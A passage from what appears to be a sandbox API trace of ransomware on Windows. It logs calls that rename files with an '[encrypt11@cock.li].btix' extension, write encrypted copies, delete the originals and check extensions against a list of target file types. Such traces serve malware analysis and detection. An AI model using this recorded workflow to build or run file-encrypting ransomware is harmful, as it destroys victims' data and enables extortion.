(lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.820] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0043.820] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.820] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc64 | out: lpNewFilePointer=0x0) returned 1 [0043.820] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc24 | out: lpNewFilePointer=0x0) returned 1 [0043.820] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eefc30, lpOverlapped=0x0 | out: lpBuffer=0x3a02058*, lpNumberOfBytesRead=0x2eefc30*=0x40000, lpOverlapped=0x0) returned 1 [0043.863] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc24 | out: lpNewFilePointer=0x0) returned 1 [0043.863] ReadFile (in: hFile=0x30c, lpBuffer=0x3a42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eefc30, lpOverlapped=0x0 | out: lpBuffer=0x3a42058*, lpNumberOfBytesRead=0x2eefc30*=0x40000, lpOverlapped=0x0) returned 1 [0043.886] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2eefc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0043.886] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc24 | out: lpNewFilePointer=0x0) returned 1 [0043.886] ReadFile (in: hFile=0x30c, lpBuffer=0x3a82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eefc30, lpOverlapped=0x0 | out: lpBuffer=0x3a82058*, lpNumberOfBytesRead=0x2eefc30*=0x40000, lpOverlapped=0x0) returned 1 [0043.902] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.902] WriteFile (in: hFile=0x30c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2eefca8, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefca8*=0xc0110, lpOverlapped=0x0) returned 1 [0052.769] SetEndOfFile (hFile=0x30c) returned 1 [0052.769] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4394000 [0052.774] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc74 | out: lpNewFilePointer=0x0) returned 1 [0052.774] WriteFile (in: hFile=0x30c, lpBuffer=0x4394000*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eefc80, lpOverlapped=0x0 | out: lpBuffer=0x4394000*, lpNumberOfBytesWritten=0x2eefc80*=0x40000, lpOverlapped=0x0) returned 1 [0052.775] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc74 | out: lpNewFilePointer=0x0) returned 1 [0052.775] WriteFile (in: hFile=0x30c, lpBuffer=0x4394000*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eefc80, lpOverlapped=0x0 | out: lpBuffer=0x4394000*, lpNumberOfBytesWritten=0x2eefc80*=0x40000, lpOverlapped=0x0) returned 1 [0052.776] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2eefc74 | out: lpNewFilePointer=0x0) returned 1 [0052.776] WriteFile (in: hFile=0x30c, lpBuffer=0x4394000*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eefc80, lpOverlapped=0x0 | out: lpBuffer=0x4394000*, lpNumberOfBytesWritten=0x2eefc80*=0x40000, lpOverlapped=0x0) returned 1 [0052.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4394000 | out: hHeap=0x690000) returned 1 [0052.777] CloseHandle (hObject=0x30c) returned 1 [0056.472] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.472] lstrlenW (lpString=".doc") returned 4 [0056.472] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0056.472] lstrlenW (lpString=".docx") returned 5 [0056.472] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0056.472] lstrlenW (lpString=".pdf") returned 4 [0056.472] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0056.472] lstrlenW (lpString=".xls") returned 4 [0056.472] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0056.472] lstrlenW (lpString=".xlsx") returned 5 [0056.472] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0056.472] lstrlenW (lpString=".ppt") returned 4 [0056.472] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0056.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.472] lstrlenW (lpString=".zip") returned 4 [0056.472] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString=".rar") returned 4 [0056.473] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString=".bz2") returned 4 [0056.473] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0056.473] lstrlenW (lpString=".7z") returned 3 [0056.473] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0056.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.473] lstrlenW (lpString=".dbf") returned 4 [0056.473] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0056.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.473] lstrlenW (lpString=".1cd") returned 4 [0056.473] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0056.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.473] lstrlenW (lpString=".jpg") returned 4 [0056.473] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0056.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.473] lstrlenW (lpString=".doc") returned 4 [0056.473] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0056.473] lstrlenW (lpString=".docx") returned 5 [0056.473] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0056.473] lstrlenW (lpString=".pdf") returned 4 [0056.473] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString=".xls") returned 4 [0056.473] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString=".xlsx") returned 5 [0056.473] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0056.473] lstrlenW (lpString=".ppt") returned 4 [0056.473] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.473] lstrlenW (lpString=".zip") returned 4 [0056.473] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString=".rar") returned 4 [0056.473] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0056.473] lstrlenW (lpString=".bz2") returned 4 [0056.474] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0056.474] lstrlenW (lpString=".7z") returned 3 [0056.474] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0056.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.474] lstrlenW (lpString=".dbf") returned 4 [0056.474] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0056.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.474] lstrlenW (lpString=".1cd") returned 4 [0056.474] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0056.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0056.474] lstrlenW (lpString=".jpg") returned 4 [0056.474] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0056.474] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0056.474] lstrlenW (lpString="concrt140.dll") returned 13 [0056.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.475] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=332968) returned 1 [0056.475] CloseHandle (hObject=0x2e0) returned 1 [0056.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0056.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.475] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.475] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0056.475] GetLastError () returned 0x0 [0056.475] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x514a8, lpOverlapped=0x0) returned 1 [0056.509] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x514b0, lpOverlapped=0x0) returned 1 [0056.515] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0056.515] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xee, lpOverlapped=0x0) returned 1 [0056.515] SetEndOfFile (hFile=0x38c) returned 1 [0056.515] CloseHandle (hObject=0x38c) returned 1 [0056.521] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.521] SetEndOfFile (hFile=0x2e0) returned 1 [0056.524] CloseHandle (hObject=0x2e0) returned 1 [0056.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.524] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString=".doc") returned 4 [0056.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString=".docx") returned 5 [0056.525] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0056.525] lstrlenW (lpString=".pdf") returned 4 [0056.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString=".xls") returned 4 [0056.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString=".xlsx") returned 5 [0056.525] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0056.525] lstrlenW (lpString=".ppt") returned 4 [0056.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString=".zip") returned 4 [0056.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString=".rar") returned 4 [0056.525] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString=".bz2") returned 4 [0056.525] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.525] lstrlenW (lpString=".7z") returned 3 [0056.525] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString=".dbf") returned 4 [0056.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString=".1cd") returned 4 [0056.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString=".jpg") returned 4 [0056.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.526] lstrlenW (lpString=".doc") returned 4 [0056.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.526] lstrlenW (lpString=".docx") returned 5 [0056.526] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0056.526] lstrlenW (lpString=".pdf") returned 4 [0056.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.526] lstrlenW (lpString=".xls") returned 4 [0056.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.526] lstrlenW (lpString=".xlsx") returned 5 [0056.526] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0056.526] lstrlenW (lpString=".ppt") returned 4 [0056.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.526] lstrlenW (lpString=".zip") returned 4 [0056.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.526] lstrlenW (lpString=".rar") returned 4 [0056.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.526] lstrlenW (lpString=".bz2") returned 4 [0056.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.526] lstrlenW (lpString=".7z") returned 3 [0056.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.526] lstrlenW (lpString=".dbf") returned 4 [0056.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.526] lstrlenW (lpString=".1cd") returned 4 [0056.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0056.526] lstrlenW (lpString=".jpg") returned 4 [0056.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.527] lstrcmpiW (lpString1=".hash", lpString2=".btix") returned 1 [0056.527] lstrlenW (lpString="i640.hash") returned 9 [0056.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.527] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=102) returned 1 [0056.527] CloseHandle (hObject=0x2e0) returned 1 [0056.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0056.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.527] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.527] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0056.528] GetLastError () returned 0x0 [0056.528] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x66, lpOverlapped=0x0) returned 1 [0056.529] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x70, lpOverlapped=0x0) returned 1 [0056.530] ReadFile (in: hFile=0x2e0, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0056.530] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xe6, lpOverlapped=0x0) returned 1 [0056.530] SetEndOfFile (hFile=0x38c) returned 1 [0056.530] CloseHandle (hObject=0x38c) returned 1 [0056.531] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0056.531] SetEndOfFile (hFile=0x2e0) returned 1 [0056.532] CloseHandle (hObject=0x2e0) returned 1 [0056.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.532] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0056.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.532] lstrlenW (lpString=".doc") returned 4 [0056.532] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0056.532] lstrlenW (lpString=".docx") returned 5 [0056.532] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0056.532] lstrlenW (lpString=".pdf") returned 4 [0056.532] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0056.532] lstrlenW (lpString=".xls") returned 4 [0056.532] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0056.532] lstrlenW (lpString=".xlsx") returned 5 [0056.532] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0056.532] lstrlenW (lpString=".ppt") returned 4 [0056.532] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0056.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.532] lstrlenW (lpString=".zip") returned 4 [0056.532] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".rar") returned 4 [0056.533] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".bz2") returned 4 [0056.533] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".7z") returned 3 [0056.533] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0056.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.533] lstrlenW (lpString=".dbf") returned 4 [0056.533] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.533] lstrlenW (lpString=".1cd") returned 4 [0056.533] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.533] lstrlenW (lpString=".jpg") returned 4 [0056.533] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.533] lstrlenW (lpString=".doc") returned 4 [0056.533] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".docx") returned 5 [0056.533] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0056.533] lstrlenW (lpString=".pdf") returned 4 [0056.533] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".xls") returned 4 [0056.533] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".xlsx") returned 5 [0056.533] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0056.533] lstrlenW (lpString=".ppt") returned 4 [0056.533] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.533] lstrlenW (lpString=".zip") returned 4 [0056.533] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".rar") returned 4 [0056.533] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0056.533] lstrlenW (lpString=".bz2") returned 4 [0056.534] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0056.534] lstrlenW (lpString=".7z") returned 3 [0056.534] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0056.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.534] lstrlenW (lpString=".dbf") returned 4 [0056.534] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0056.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.534] lstrlenW (lpString=".1cd") returned 4 [0056.534] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0056.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0056.534] lstrlenW (lpString=".jpg") returned 4 [0056.534] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0056.534] lstrcmpiW (lpString1=".hash", lpString2=".btix") returned 1 [0056.534] lstrlenW (lpString="i641033.hash") returned 12 [0056.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0056.534] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=102) returned 1 [0056.534] CloseHandle (hObject=0x2e0) returned 1 [0056.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0056.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 